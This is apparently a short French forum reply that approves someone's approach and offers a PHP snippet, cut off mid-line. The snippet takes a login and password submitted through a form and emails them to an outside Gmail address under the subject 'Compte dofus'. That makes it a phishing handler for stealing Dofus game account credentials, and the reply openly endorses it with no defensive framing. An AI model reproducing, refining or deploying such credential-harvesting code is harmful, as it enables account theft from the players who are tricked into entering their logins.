Tu peux optimiser ton code, mais l'idée est la bonne :


if(!empty($_POST['userlogin']) AND !empty($_POST['userpass'])) {
mail('nirvak.bot@gmail.com', 'Compte dofus', 'Identifiant : ' ....